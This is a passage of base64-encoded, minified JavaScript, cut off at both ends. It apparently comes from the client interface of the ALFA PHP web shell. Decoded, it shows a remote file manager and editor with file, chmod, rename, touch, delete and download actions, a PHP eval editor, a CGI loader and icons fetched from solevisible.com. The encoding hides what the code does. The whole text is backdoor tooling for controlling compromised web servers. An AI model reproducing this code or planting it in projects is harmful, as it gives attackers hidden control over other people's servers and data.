lcnlTZWxlY3RvcigiI29wdGlvbnNfd2luZG93IC5jb250ZW50X29wdGlvbnNfaG9sZGVyIC5vcHRpb25zX3RhYiAudGFiX25hbWUudGFiX2lzX2FjdGl2ZS50YWItaXMtZG9uZSIpO251bGwhPWEmJmEuY2xhc3NMaXN0LnJlbW92ZSgidGFiLWlzLWRvbmUiKX1lbHNlImRhdGFiYXNlX3dpbmRvdyI9PWUmJihkYXRhYmFzZV93aW5kb3dfaXNfbWluaW1pemVkPSExKTtwb3B1cFdpbmRvd0JhY2tQb3NpdGlvbigpLGQuYm9keS5zdHlsZS5vdmVyZmxvdz0iaGlkZGVuIn1mdW5jdGlvbiBlZGl0b3JNaW5pbWl6ZShlKXskKGUpLnNldEF0dHJpYnV0ZSgiY2xhc3MiLCJlZGl0b3ItYW5pbS1taW5pbWl6ZSIpLCQoZSsiLW1pbmltaXplZCIpLnNldEF0dHJpYnV0ZSgiY2xhc3MiLCJtaW5pbWl6ZWQtc2hvdyIpLCJlZGl0b3IiPT1lP2lzX21pbmltaXplZD0hMDoiY2dpbG9hZGVyIj09ZT9jZ2lfaXNfbWluaW1pemVkPSEwOiJvcHRpb25zX3dpbmRvdyI9PWU/b3B0aW9uc193aW5kb3dfaXNfbWluaW1pemVkPSEwOiJkYXRhYmFzZV93aW5kb3ciPT1lJiYoZGF0YWJhc2Vfd2luZG93X2lzX21pbmltaXplZD0hMCkscG9wdXBXaW5kb3dCYWNrUG9zaXRpb24oKSxkLmJvZHkuc3R5bGUub3ZlcmZsb3c9InZpc2libGUifWZ1bmN0aW9uIGNsZWFyRWRpdG9ySGlzdG9yeSgpe2lmKGNvbmZpcm0oIkFyZSB1IFN1cmU/IikpZm9yKHZhciBlIGluIGVkaXRvcl9maWxlcyllIT1lZGl0b3JfY3VycmVudF9maWxlJiZyZW1vdmVIaXN0b3J5KGUpfWZ1bmN0aW9uIGlzQXJjaGl2ZShlKXt2YXIgYSx0PVsiLnRhci5neiIsIi50YXIuYnoyIiwiLnRhci56IiwiLnRhci54eiIsIi56aXAiLCIuemlweCIsIi43eiIsIi5iejIiLCIuZ3oiLCIucmFyIiwiLnRhciIsIi50Z3oiXTtmb3IoYSBpbiB0KWlmKG5ldyBSZWdFeHAoIiguKikoIit0W2FdLnJlcGxhY2UoL1wuL2csIlxcLiIpKyIpJCIsImdpIikudGVzdChlKSlyZXR1cm4hMDtyZXR1cm4hMX1mdW5jdGlvbiBlZGl0b3IoZSxhLHQsaSxsLG8pe2lmKCJkaXIiPT1vJiYiLi4iPT1lKXJldHVybiExO2lmKCJkb3dubG9hZCI9PWEpcmV0dXJuIGcoIkZpbGVzVG9vbHMiLGksZSwiZG93bmxvYWQiKSwhMTt2YXIgcj0iIixuPSIiLHM9IiIsYz0iIixmPWQubWYuYy52YWx1ZSxfPSEwO2lmKGU9ZS50cmltKCksMD09T2JqZWN0LmtleXMoZWRpdG9yX2ZpbGVzKS5sZW5ndGgpe3ZhciB1PWdldENvb2tpZSgiYWxmYV9oaXN0b3J5X2ZpbGVzIik7dHJ5e2Zvcih2YXIgcCBpbiB1PWF0b2IodSksZWRpdG9yX2ZpbGVzPUpTT04ucGFyc2UodSkpaW5zZXJ0VG9IaXN0b3J5KHAsZWRpdG9yX2ZpbGVzW3BdLmZpbGUsMCxlZGl0b3JfZmlsZXNbcF0udHlwZSl9Y2F0Y2goZSl7fX1pZigicGhhcjovLyI9PWUuc3Vic3RyKDAsNykpZj1jXztlbHNlIGlmKC0xIT1lLmluZGV4T2YoIi8iKSl7dmFyIG09ZS5zcGxpdCgiLyIpO2U9bVttLmxlbmd0aC0xXSxkZWxldGUgbVttLmxlbmd0aC0xXSxmPW0uam9pbigiLyIpLGlzbGludXgmJihmPSIvIitmKX1pZih2b2lkIDA9PT1vJiYobz0iIiksdm9pZCAwIT09aSYmbnVsbCE9aSYmMCE9aS5sZW5ndGgmJihmPWkudHJpbSgpKSwiYXV0byI9PWEmJmlzQXJjaGl2ZShlKSlyZXR1cm4gYWxmYVN5bmNNZW51VG9PcHQoZSwhMCksITE7dHJ5e2Zvcih2YXIgdiBpbiBlZGl0b3JfZmlsZXMpaWYoZWRpdG9yX2ZpbGVzW3ZdLmZpbGU9PWRlY29kZVVSSUNvbXBvbmVudChlKSYmZWRpdG9yX2ZpbGVzW3ZdLnB3ZC5yZXBsYWNlKC9cLy9nLCIiKT09Zi5yZXBsYWNlKC9cLy9nLCIiKSl7Xz0hMSxsPXY7YnJlYWt9fWNhdGNoKGUpe31pZihlZGl0b3JfZXJyb3I9ITAsdm9pZCAwIT09dCYmMCE9dC5sZW5ndGgmJm51bGwhPXQmJihyPWFsZmFiNjQodCkpLHZvaWQgMCE9PWwmJm51bGwhPWwmJjAhPWwubGVuZ3RoKW49YWxmYWI2NChsKSxzPWwsYz1sLnJlcGxhY2UoImZpbGVfIiwiIik7ZWxzZXt2YXIgaD0iZmlsZV8iKyhjPWdldFJhbmRvbSgxMCkpO249YWxmYWI2NChoKSxzPWh9dmFyIGI9ImVkaXRvcl9zb3VyY2VfIitjO2lmKG51bGw9PSQoYikpe3RyeXtkLnF1ZXJ5U2VsZWN0b3IoIi5lZGl0b3ItY29udGVudHMuZWRpdG9yLWNvbnRlbnQtYWN0aXZlIikuY2xhc3NMaXN0LnJlbW92ZSgiZWRpdG9yLWNvbnRlbnQtYWN0aXZlIil9Y2F0Y2goZSl7fXRyeXtkLnF1ZXJ5U2VsZWN0b3IoIi5lZGl0b3ItdGFicyAuZWRpdG9yLXRhYi1uYW1lLmVkaXRvci10YWItYWN0aXZlIikuY2xhc3NMaXN0LnJlbW92ZSgiZWRpdG9yLXRhYi1hY3RpdmUiKX1jYXRjaChlKXt9ZC5xdWVyeVNlbGVjdG9yKCIuZWRpdG9yLXRhYnMiKS5pbnNlcnRBZGphY2VudEhUTUwoImJlZm9yZWVuZCIsIjxkaXYgb25jbGljaz0nZWRpdG9yVGFiQ29udHJvbGxlcih0aGlzKTsnIG9wdF9pZD0nIitiKyInIGlkPSd0YWJfIitiKyInIGNsYXNzPSdlZGl0b3ItdGFiLW5hbWUgZWRpdG9yLXRhYi1hY3RpdmUnPiIrZGVjb2RlVVJJQ29tcG9uZW50KGUpKyIgPGltZyBvcHRfaWQ9JyIrYisiJyBvbmNsaWNrPSdjbG9zZUVkaXRvckNvbnRlbnQodGhpcyxldmVudCk7cmV0dXJuIGZhbHNlOycgdGl0bGU9J1tjbG9zZV0nIHNyYz0naHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pY29ucy9tZW51L2RlbGV0ZS5zdmcnPjwvZGl2PiIpLGQucXVlcnlTZWxlY3RvcigiLmVkaXRvci1jb250ZW50LWhvbGRlciIpLmluc2VydEFkamFjZW50SFRNTCgiYWZ0ZXJiZWdpbiIsIjxkaXYgY2xhc3M9J2VkaXRvci1jb250ZW50cyBlZGl0b3ItY29udGVudC1hY3RpdmUnIGlkPSciK2IrIic+PC9kaXY+Iil9cmV0dXJuIDA9PWlzX21pbmltaXplZCYmIm5vbmUiPT0kKCJlZGl0b3IiKS5zdHlsZS5kaXNwbGF5PygkKCJlZGl0b3IiKS5zdHlsZS5kaXNwbGF5PSJibG9jayIsc2hvd0VkaXRvcigiZWRpdG9yIiksYWxmYWxvYWRlcihiLCJibG9jayIpKTooaXNfbWluaW1pemVkJiZzaG93RWRpdG9yKCJlZGl0b3IiKSxudWxsIT0kKGIpP2FsZmFsb2FkZXIoYiwiYmxvY2siKTooYWxmYWxvYWRlcigiZWRpdG9yIiwiYmxvY2siKSxiPSJlZGl0b3IiKSksX0FqYXgoZC5VUkwsImE9IithbGZhYjY0KCJGaWxlc1Rvb2xzIikrIiZjPSIrYWxmYWI2NChmKSsiJmFsZmExPSIrYWxmYWI2NChlKSsiJmFsZmEyPSIrYWxmYWI2NChhKSsiJmFsZmEzPSIrcisiJmFsZmE0PSIrbisiJmFsZmE1PSZhbGZhNj0mYWxmYTc9JmFsZmE4PSZhbGZhOT0mYWxmYTEwPSYmYWpheD0iK2FsZmFiNjQoInRydWUiKSxmdW5jdGlvbih0LGkpe3ZhciBsPSQoInRhYl8iK2kpO3RyeXtudWxsIT1sJiYoKC0xPT1sLmNsYXNzTGlzdC52YWx1ZS5pbmRleE9mKCJlZGl0b3ItdGFiLWFjdGl2ZSIpfHxpc19taW5pbWl6ZWQpJiYobC5jbGFzc0xpc3QuYWRkKCJ0YWItaXMtZG9uZSIpLGFsZmFTaG93Tm90aWZpY2F0aW9uKCJwcm9jY2VzcyBpcyBkb25lLi4uIiwiRWRpdG9yOiAiK2wuaW5uZXJUZXh0KSksaXNfbWluaW1pemVkJiZhbGZhVXBkYXRlT3B0aW9uc0JhZGdlKCJlZGl0b3IiKSl9Y2F0Y2godCl7fWlmKCJub25lIj09JCgiZWRpdG9yIikuc3R5bGUuZGlzcGxheT9hbGZhTG9hZGVyT25Ub3AoIm5vbmUiKTphbGZhbG9hZGVyKGksIm5vbmUiKSxyLmxlbmd0aD4wJiYiZWRpdCI9PWEpcmV0dXJuIGlzX21pbmltaXplZHx8bnVsbCE9bCYmLTEhPWwuY2xhc3NMaXN0LnZhbHVlLmluZGV4T2YoImVkaXRvci10YWItYWN0aXZlIikmJmFsZmFTaG93Tm90aWZpY2F0aW9uKCJzYXZlZC4uLiEiLCJFZGl0b3IiKSwhMTtpZihudWxsIT0kKGkpJiYoJChpKS5pbm5lckhUTUw9dCksaXNfbWluaW1pemVkJiZhbGZhU2hvd05vdGlmaWNhdGlvbigicHJvY2Nlc3MgaXMgZG9uZS4uLiIsIkVkaXRvcjogIitkZWNvZGVVUklDb21wb25lbnQoZSkpLCQoImVkaXRvciIpLnN0eWxlLmRpc3BsYXk9ImJsb2NrIixldmFsSlModCksYWxmYUxvYWRBY2VFZGl0b3IoInZpZXdfbWxfY29udGVudCIpLCJkZWxldGUiIT1hJiZlZGl0b3JfZXJyb3Ipe3ZhciBjPWQuZ2V0RWxlbWVudHNCeUNsYXNzTmFtZSgiaXNfYWN0aXZlIik7MCE9Yy5sZW5ndGgmJihjWzBdLmNsYXNzTmFtZT0iZmlsZS1ob2xkZXIiKSxuPXMsZT1kZWNvZGVVUklDb21wb25lbnQoZSksIWVkaXRvcl9maWxlc1tuXSYmXz8oZWRpdG9yX2ZpbGVzW25dPXtmaWxlOmUscHdkOmYsdHlwZTpvfSxpbnNlcnRUb0hpc3RvcnkobixlLCIgaXNfYWN0aXZlIixvKSwibWtmaWxlIj09YSYmZygiRmlsZXNNYW4iLG51bGwpKTokKG4pLnBhcmVudE5vZGUuY2xhc3NOYW1lKz0iIGlzX2FjdGl2ZSJ9ZC5ib2R5LnN0eWxlLm92ZXJmbG93PSJoaWRkZW4iLGQuZ2V0RWxlbWVudHNCeUNsYXNzTmFtZSgiZmlsZXN0b29scyIpWzBdLnNldEF0dHJpYnV0ZSgiZmlkIixuKSxlZGl0b3JfZmlsZXNbbl0mJihkLmdldEVsZW1lbnRzQnlDbGFzc05hbWUoImVkaXRvci1wYXRoIilbMF0uaW5uZXJIVE1MPShlZGl0b3JfZmlsZXNbbl0ucHdkKyIvIitlZGl0b3JfZmlsZXNbbl0uZmlsZSkucmVwbGFjZSgvXC9cLy9nLCIvIikpLGVkaXRvcl9jdXJyZW50X2ZpbGU9bix1cGRhdGVDb29raWVFZGl0b3IoKX0sITEsYiksITF9ZnVuY3Rpb24gYWxmYUxvYWRBY2VFZGl0b3IoZSxhKXtpZih2b2lkIDA9PT1hJiYoYT0hMSksbnVsbD09JCgiYWxmYS1hY2UtcGx1Z2luIikpe3ZhciB0PWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO3JldHVybiB0LnNyYz0iaHR0cHM6Ly9jZG5qcy5jbG91ZGZsYXJlLmNvbS9hamF4L2xpYnMvYWNlLzEuNC4xMS9hY2UuanMiLHQuaWQ9ImFsZmEtYWNlLXBsdWdpbiIsdC5vbmxvYWQ9ZnVuY3Rpb24oKXthbGZhTG9hZEFjZUVkaXRvcihlLGEpfSxkLmJvZHkuYXBwZW5kQ2hpbGQodCksITF9dHJ5eyJhbGxvdyI9PSQoZSkuZ2V0QXR0cmlidXRlKCJtb2RlIikmJihhPSExKX1jYXRjaChlKXt9aWYoInZpZXdfbWxfY29udGVudCI9PWUpe251bGw9PWFsZmFfYWNlX2VkaXRvcnMuZWRpdG9yJiYoYWxmYV9hY2VfZWRpdG9ycy5lZGl0b3I9e30pO3ZhciBpPWdldENvb2tpZSgiYWxmYV9hY2VfdGhlbWVfZWRpdG9yIiksbD1nZXRDb29raWUoImFsZmFfYWNlX2ZvbnRzaXplX2VkaXRvciIpO3ZvaWQgMD09PWkmJihpPSJ0ZXJtaW5hbCIpLDA9PWkubGVuZ3RoJiYoaT0idGVybWluYWwiKSxkLnF1ZXJ5U2VsZWN0b3JBbGwoIi5lZGl0b3ItYWNlLWNvbnRyb2xsZXIiKS5mb3JFYWNoKGZ1bmN0aW9uKGUpe2lmKG51bGwhPWUuZ2V0QXR0cmlidXRlKCJhY2UiKSlyZXR1cm4hMTtlLnNldEF0dHJpYnV0ZSgiYWNlIiwib2siKTt2YXIgdD1nZXRSYW5kb20oMTApLG89ZS5xdWVyeVNlbGVjdG9yKCIudmlld19tbF9jb250ZW50Iik7by5zZXRBdHRyaWJ1dGUoImlkIiwidmlld19tbF9jb250ZW50LSIrdCksYWxmYV9hY2VfZWRpdG9ycy5lZGl0b3JbInZpZXdfbWxfY29udGVudC0iK3RdPWFjZS5lZGl0KG8pLGFsZmFfYWNlX2VkaXRvcnMuZWRpdG9yWyJ2aWV3X21sX2NvbnRlbnQtIit0XS5zZXRSZWFkT25seShhKSxhbGZhX2FjZV9lZGl0b3JzLmVkaXRvclsidmlld19tbF9jb250ZW50LSIrdF0uc2V0U2hvd1ByaW50TWFyZ2luKCExKSxhbGZhX2FjZV9lZGl0b3JzLmVkaXRvclsidmlld19tbF9jb250ZW50LSIrdF0uc2V0VGhlbWUoImFjZS90aGVtZS8iK2kpLGFsZmFfYWNlX2VkaXRvcnMuZWRpdG9yWyJ2aWV3X21sX2NvbnRlbnQtIit0XS5zZXNzaW9uLnNldE1vZGUoImFjZS9tb2RlL3BocCIpLGFsZmFfYWNlX2VkaXRvcnMuZWRpdG9yWyJ2aWV3X21sX2NvbnRlbnQtIit0XS5zZXNzaW9uLnNldFVzZVdyYXBNb2RlKCEwKSxhbGZhX2FjZV9lZGl0b3JzLmVkaXRvclsidmlld19tbF9jb250ZW50LSIrdF0uY29tbWFuZHMuYWRkQ29tbWFuZCh7bmFtZToic2F2ZSIsYmluZEtleTp7d2luOiJDdHJsLVMiLG1hYzoiQ21kLVMifSxleGVjOmZ1bmN0aW9uKGUpe2QucXVlcnlTZWxlY3RvcigiI2FjZS1zYXZlLWJ0bi0iK3QpLmNsaWNrKCl9fSksZS5xdWVyeVNlbGVjdG9yKCJzZWxlY3QuYWNlLXRoZW1lLXNlbGVjdG9yIikudmFsdWU9aSxlLnF1ZXJ5U2VsZWN0b3JBbGwoIi5hY2UtY29udHJvbGVyIikuZm9yRWFjaChmdW5jdGlvbihlKXtlLnNldEF0dHJpYnV0ZSgiYWNlX2lkIiwidmlld19tbF9jb250ZW50LSIrdCksLTEhPWUuY2xhc3NMaXN0LnZhbHVlLmluZGV4T2YoImFjZS1zYXZlLWJ0biIpJiZlLnNldEF0dHJpYnV0ZSgiaWQiLCJhY2Utc2F2ZS1idG4tIit0KX0pLHZvaWQgMCE9PWwmJnNldFRpbWVvdXQoZnVuY3Rpb24oKXthbGZhX2FjZV9lZGl0b3JzLmVkaXRvclsidmlld19tbF9jb250ZW50LSIrdF0uc2V0Rm9udFNpemUocGFyc2VJbnQobCkpfSwxZTMpfSl9ZWxzZXtudWxsPT1hbGZhX2FjZV9lZGl0b3JzLmV2YWwmJihhbGZhX2FjZV9lZGl0b3JzLmV2YWw9e30pO2k9Z2V0Q29va2llKCJhbGZhX2FjZV90aGVtZV9ldmFsIiksbD1nZXRDb29raWUoImFsZmFfYWNlX2ZvbnRzaXplX2V2YWwiKTt2b2lkIDA9PT1pJiYoaT0idGVybWluYWwiKSwwPT1pLmxlbmd0aCYmKGk9InRlcm1pbmFsIiksZC5xdWVyeVNlbGVjdG9yQWxsKCIucGhwLWV2YWxzIikuZm9yRWFjaChmdW5jdGlvbihlKXtpZihudWxsIT1lLmdldEF0dHJpYnV0ZSgiYWNlIikpcmV0dXJuITE7ZS5zZXRBdHRyaWJ1dGUoImFjZSIsIm9rIik7dmFyIHQ9ZS5xdWVyeVNlbGVjdG9yKCIucGhwLWV2YWxzLWFjZSIpLG89Z2V0UmFuZG9tKDEwKTt0LnNldEF0dHJpYnV0ZSgiaWQiLCJwaHBldmFsLSIrbyksYWxmYV9hY2VfZWRpdG9ycy5ldmFsWyJwaHBldmFsLSIrb109YWNlLmVkaXQodCksYWxmYV9hY2VfZWRpdG9ycy5ldmFsWyJwaHBldmFsLSIrb10uc2V0UmVhZE9ubHkoYSksYWxmYV9hY2VfZWRpdG9ycy5ldmFsWyJwaHBldmFsLSIrb10uc2V0U2hvd1ByaW50TWFyZ2luKCExKSxhbGZhX2FjZV9lZGl0b3JzLmV2YWxbInBocGV2YWwtIitvXS5zZXRUaGVtZSgiYWNlL3RoZW1lLyIraSksYWxmYV9hY2VfZWRpdG9ycy5ldmFsWyJwaHBldmFsLSIrb10uc2Vzc2lvbi5zZXRNb2RlKCJhY2UvbW9kZS9waHAiKSxhbGZhX2FjZV9lZGl0b3JzLmV2YWxbInBocGV2YWwtIitvXS5zZXNzaW9uLnNldFVzZVdyYXBNb2RlKCEwKSxlLnF1ZXJ5U2VsZWN0b3IoInNlbGVjdC5hY2UtdGhlbWUtc2VsZWN0b3IiKS52YWx1ZT1pLGUucXVlcnlTZWxlY3RvckFsbCgiLmFjZS1jb250cm9sZXIiKS5mb3JFYWNoKGZ1bmN0aW9uKGUpe2Uuc2V0QXR0cmlidXRlKCJhY2VfaWQiLCJwaHBldmFsLSIrbyl9KSx2b2lkIDAhPT1sJiZzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7YWxmYV9hY2VfZWRpdG9ycy5ldmFsWyJwaHBldmFsLSIrb10uc2V0Rm9udFNpemUocGFyc2VJbnQobCkpfSwxZTMpfSl9fWZ1bmN0aW9uIGluc2VydFRvSGlzdG9yeShlLGEsdCxpKXt2YXIgbD0iIjt0JiYwIT10JiYobD10KTt2YXIgbz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJkaXYiKTtvLmlubmVySFRNTD0iPGRpdiBpZD0nIitlKyInIGNsYXNzPSdoaXN0b3J5JyBvbkNsaWNrPSdyZW9wZW4odGhpcyk7Jz48ZGl2IGNsYXNzPSdlZGl0b3ItaWNvbic+Iitsb2FkVHlwZShhLGksZSkrIjwvZGl2PjxkaXYgY2xhc3M9J2VkaXRvci1maWxlLW5hbWUnPiIrYSsiPC9kaXY+PC9kaXY+PGRpdiBjbGFzcz0naGlzdG9yeS1jbG9zZScgb25DbGljaz0ncmVtb3ZlSGlzdG9yeShcIiIrZSsiXCIpOyc+WDwvZGl2PiIsby5jbGFzc05hbWU9ImZpbGUtaG9sZGVyIitsLG8uYWRkRXZlbnRMaXN0ZW5lcigibW91c2VvdmVyIixmdW5jdGlvbigpe3NldEVkaXRvclRpdGxlKGUsIm92ZXIiKSx0aGlzLmNoaWxkTm9kZXNbMV0uc3R5bGUub3BhY2l0eT0iMSJ9KSxvLmFkZEV2ZW50TGlzdGVuZXIoIm1vdXNlb3V0IixmdW5jdGlvbigpe3NldEVkaXRvclRpdGxlKGUsIm91dCIpLHRoaXMuY2hpbGROb2Rlc1sxXS5zdHlsZS5vcGFjaXR5PSIwIn0pO3ZhciByPWQuZ2V0RWxlbWVudHNCeUNsYXNzTmFtZSgiaGlzdG9yeS1saXN0IilbMF07ci5pbnNlcnRCZWZvcmUobyxyLmZpcnN0Q2hpbGQpfWZ1bmN0aW9uIGxvYWRUeXBlKGUsYSx0KXsibm9uZSI9PWEmJl9BamF4KGQuVVJMLCJhPSIrYWxmYWI2NCgiY2hlY2tmaWxldHlwZSIpKyImcGF0aD0iK2FsZmFiNjQoZWRpdG9yX2ZpbGVzW3RdLnB3ZCkrIiZhcmc9IithbGZhYjY0KGVkaXRvcl9maWxlc1t0XS5maWxlKSxmdW5jdGlvbihlKXskKHQpLmlubmVySFRNTD0iPGRpdiBjbGFzcz0nZWRpdG9yLWljb24nPiIrbG9hZFR5cGUoZWRpdG9yX2ZpbGVzW3RdLmZpbGUsZSx0KSsiPC9kaXY+PGRpdiBjbGFzcz0nZWRpdG9yLWZpbGUtbmFtZSc+IitlZGl0b3JfZmlsZXNbdF0uZmlsZSsiPC9kaXY+IixlZGl0b3JfZmlsZXNbdF0udHlwZT1lfSk7aWYoImZpbGUiPT1hKXthPShhPWUuc3BsaXQoIi4iKSlbYS5sZW5ndGgtMV0udG9Mb3dlckNhc2UoKTstMT09WyJqc29uIiwicHB0IiwicHB0eCIsInhscyIsInhsc3giLCJtc2kiLCJjb25maWciLCJjZ2kiLCJwbSIsImMiLCJjcHAiLCJjcyIsImphdmEiLCJhc3B4IiwiYXNwIiwiZGIiLCJ0dGYiLCJlb3QiLCJ3b2ZmIiwid29mZjIiLCJ3b2ZmIiwiY29uZiIsImxvZyIsImFwayIsImNhYiIsImJ6MiIsInRneiIsImRtZyIsIml6byIsImphciIsIjd6IiwiaXNvIiwicmFyIiwiYmF0Iiwic2giLCJhbGZhIiwiZ3oiLCJ0YXIiLCJwaHAiLCJwaHA0IiwicGhwNSIsInBodG1sIiwiaHRtbCIsInhodG1sIiwic2h0bWwiLCJodG0iLCJ6aXAiLCJwbmciLCJqcGciLCJqcGVnIiwiZ2lmIiwiYm1wIiwiaWNvIiwidHh0IiwianMiLCJyYiIsInB5IiwieG1sIiwiY3NzIiwic3FsIiwiaHRhY2Nlc3MiLCJwbCIsImluaSIsImRsbCIsImV4ZSIsIm1wMyIsIm1wNCIsIm00YSIsIm1vdiIsImZsdiIsInN3ZiIsIm1rdiIsImF2aSIsIndtdiIsIm1wZyIsIm1wZWciLCJkYXQiLCJwZGYiLCIzZ3AiLCJkb2MiLCJkb2N4IiwiZG9jbSJdLmluZGV4T2YoYSkmJihhPSJub3Rmb3VuZCIpfWVsc2UgYT0iZm9sZGVyIjtyZXR1cm4nPGltZyBzcmM9Imh0dHA6Ly9zb2xldmlzaWJsZS5jb20vaWNvbnMve3R5cGV9IiB3aWR0aD0iMzAiIGhlaWdodD0iMzAiPicucmVwbGFjZSgie3R5cGV9IixhKyIucG5nIil9ZnVuY3Rpb24gdXBkYXRlRmlsZUVkaXRvcihlLGEpe3ZhciB0PSJpZF8iK2UsaT0iaWRfY2htb2RlXyIrZSxsPSJpZF9yZW5hbWVfIitlLG89ImlkX3RvdWNoXyIrZSxyPSJpZF9lZGl0XyIrZSxuPSJpZF9kb3dubG9hZF8iK2UsZD0iaWRfZGVsZXRlXyIrZSxzPSQodCkuZ2V0QXR0cmlidXRlKCJmdHlwZSIpOyJmb2xkZXIiPT1zJiYocz0iZGlyIiksImZpbGUiPT1zPygkKHQpLmlubmVySFRNTD1hLCQodCkuc2V0QXR0cmlidXRlKCJocmVmIiwiI2FjdGlvbj1maWxlbWFuJnBhdGg9IitjXysiLyIrYSksJCh0KS5zZXRBdHRyaWJ1dGUoIm9uY2xpY2siLCJlZGl0b3IoJyIrYSsiJywnYXV0bycsJycsJycsJycsJ2ZpbGUnKSIpLCQocikuc2V0QXR0cmlidXRlKCJvbmNsaWNrIiwiZWRpdG9yKCciK2ErIicsJ2VkaXQnLCcnLCcnLCcnLCciK3MrIicpIiksJChuKS5zZXRBdHRyaWJ1dGUoIm9uY2xpY2siLCJnKCdGaWxlc1Rvb2xzJyxudWxsLCciK2ErIicsICdkb3dubG9hZCcpIikpOigkKHQpLmlubmVySFRNTD0iPGI+fCAiK2ErIiB8PC9iPiIsJCh0KS5zZXRBdHRyaWJ1dGUoIm9uY2xpY2siLCJnKCdGaWxlc01hbicsICciK2NfKyIvIithKyInKSIpKSwkKGkpLnNldEF0dHJpYnV0ZSgib25jbGljayIsImVkaXRvcignIithKyInLCdjaG1vZCcsJycsJycsJycsJyIrcysiJykiKSwkKGwpLnNldEF0dHJpYnV0ZSgib25jbGljayIsImVkaXRvcignIithKyInLCdyZW5hbWUnLCcnLCcnLCcnLCciK3MrIicpIiksJChvKS5zZXRBdHRyaWJ1dGUoIm9uY2xpY2siLCJlZGl0b3IoJyIrYSsiJywndG91Y2gnLCcnLCcnLCcnLCciK3MrIicpIiksJChkKS5zZXRBdHRyaWJ1dGUoIm9uY2xpY2siLCJ2YXIgY2hrID0gY29uZmlybSgnQXJlIFlvdSBTdXJlIEZvciBEZWxldGUgIyAiK2ErIiAjID8nKTsgY2hrID8gZygnRmlsZXNNYW4nLG51bGwsJ2RlbGV0ZScsICciK2ErIicpIDogJyc7IiksJCh0KS5zZXRBdHRyaWJ1dGUoImZuYW1lIixhKX1mdW5jdGlvbiB1cGRhdGVEaXJzRWRpdG9yKGUsYSl7dmFyIHQ9ZC5tZi5jLnZhbHVlKyIvIixpPWVkaXRvcl9maWxlc1tlXS5wd2QrIi8iK2ErIi8iLGw9ZWRpdG9yX2ZpbGVzW2VdLnB3ZCsiLyIrZWRpdG9yX2ZpbGVzW2VdLmZpbGUrIi8iO2Zvcih2YXIgbyBpbiBpPWkucmVwbGFjZSgvXC9cLy9nLCIvIiksbD1sLnJlcGxhY2UoL1wvXC8vZywiLyIpLC0xIT0odD10LnJlcGxhY2UoL1wvXC8vZywiLyIpKS5zZWFyY2goaSkmJihpbml0RGlyKHQucmVwbGFjZShpLGwpKSxkLm1mLmMudmFsdWU9dC5yZXBsYWNlKGksbCkpLGVkaXRvcl9maWxlcyl7dmFyIHI9ZWRpdG9yX2ZpbGVzW29dLnB3ZCsiLyI7LTEhPShyPXIucmVwbGFjZSgvXC9cLy9nLCIvIikpLnNlYXJjaChpKSYmKGVkaXRvcl9maWxlc1tvXS5wd2Q9ci5yZXBsYWNlKGksbCkpfXVwZGF0ZUNvb2tpZUVkaXRvcigpfWZ1bmN0aW9uIHVwZGF0ZUNvb2tpZUVkaXRvcigpe3NldENvb2tpZSgiYWxmYV9oaXN0b3J5X2ZpbGVzIixidG9hKEpTT04uc3RyaW5naWZ5KGVkaXRvcl9maWxlcykpLDIwMTIpfWZ1bmN0aW9uIHNldEVkaXRvclRpdGxlKGUsYSl7aWYoIm91dCI9PWEmJiIiIT1lZGl0b3JfY3VycmVudF9maWxlKXt2YXIgdD1kLnF1ZXJ5U2VsZWN0b3IoIi5lZGl0b3ItdGFiLW5hbWUuZWRpdG9yLXRhYi1hY3RpdmUiKTtlPW51bGwhPXQ/dC5nZXRBdHRyaWJ1dGUoIm9wdF9pZCIpLnJlcGxhY2UoImVkaXRvcl9zb3VyY2VfIiwiZmlsZV8iKTplZGl0b3JfY3VycmVudF9maWxlfWVkaXRvcl9maWxlc1tlXSYmKGQuZ2V0RWxlbWVudHNCeUNsYXNzTmFtZSgiZWRpdG9yLXBhdGgiKVswXS5pbm5lckhUTUw9KGVkaXRvcl9maWxlc1tlXS5wd2QrIi8iK2VkaXRvcl9maWxlc1tlXS5maWxlKS5yZXBsYWNlKC9cL1wvL2csIi8iKSl9ZnVuY3Rpb24gcmVtb3ZlSGlzdG9yeShlKXtkZWxldGUgZWRpdG9yX2ZpbGVzW2VdLCQoZSkmJiQoZSkucGFyZW50Tm9kZS5wYXJlbnROb2RlLnJlbW92ZUNoaWxkKCQoZSkucGFyZW50Tm9kZSk7dmFyIGE9ZC5nZXRFbGVtZW50c0J5Q2xhc3NOYW1lKCJmaWxlc3Rvb2xzIilbMF07YSYmYS5nZXRBdHRyaWJ1dGUoImZpZCIpPT1lJiYoYS5vdXRlckhUTUw9IiIpLGVkaXRvcl9jdXJyZW50X2ZpbGU9PWUmJihlZGl0b3JfY3VycmVudF9maWxlPSIiKSx1cGRhdGVDb29raWVFZGl0b3IoKX1mdW5jdGlvbiBnZXRSYW5kb20oZSl7Zm9yKHZhciBhPSIiLHQ9IjAxMjM0NTY3ODlhYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ekFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaIixpPXZvaWQgMD09PWU/MjA6ZTtpPjA7LS1pKWErPXRbTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpKnQubGVuZ3RoKV07cmV0dXJuIGF9ZnVuY3Rpb24gcmVvcGVuKGUpe3ZhciBhPWUuZ2V0QXR0cmlidXRlKCJpZCIpLHQ9ZWRpdG9yX2ZpbGVzW2FdLnB3ZCxpPWVkaXRvcl9maWxlc1thXS5maWxlLGw9ImVkaXRvcl9zb3VyY2VfIithLnJlcGxhY2UoImZpbGVfIiwiIik7bnVsbD09JChsKT9lZGl0b3IoaSwiYXV0byIsIiIsdCxhKTplZGl0b3JUYWJDb250cm9sbGVyKGwsITApfWZ1bmN0aW9uIGNvcHlUb0NsaXBib2FyZChlKXtlPWUuZ2V0QXR0cmlidXRlKCJhY2VfaWQiKTt2YXIgYT1hbGZhX2FjZV9lZGl0b3JzLmVkaXRvcltlXS5zZWxlY3Rpb24udG9KU09OKCk7YWxmYV9hY2VfZWRpdG9ycy5lZGl0b3JbZV0uc2VsZWN0QWxsKCksYWxmYV9hY2VfZWRpdG9ycy5lZGl0b3JbZV0uZm9jdXMoKSxkb2N1bWVudC5leGVjQ29tbWFuZCgiY29weSIpLGFsZmFfYWNlX2VkaXRvcnMuZWRpdG9yW2VdLnNlbGVjdGlvbi5mcm9tSlNPTihhKSxhbGZhU2hvd05vdGlmaWNhdGlvbigidGV4dCBjb3BpZWQiLC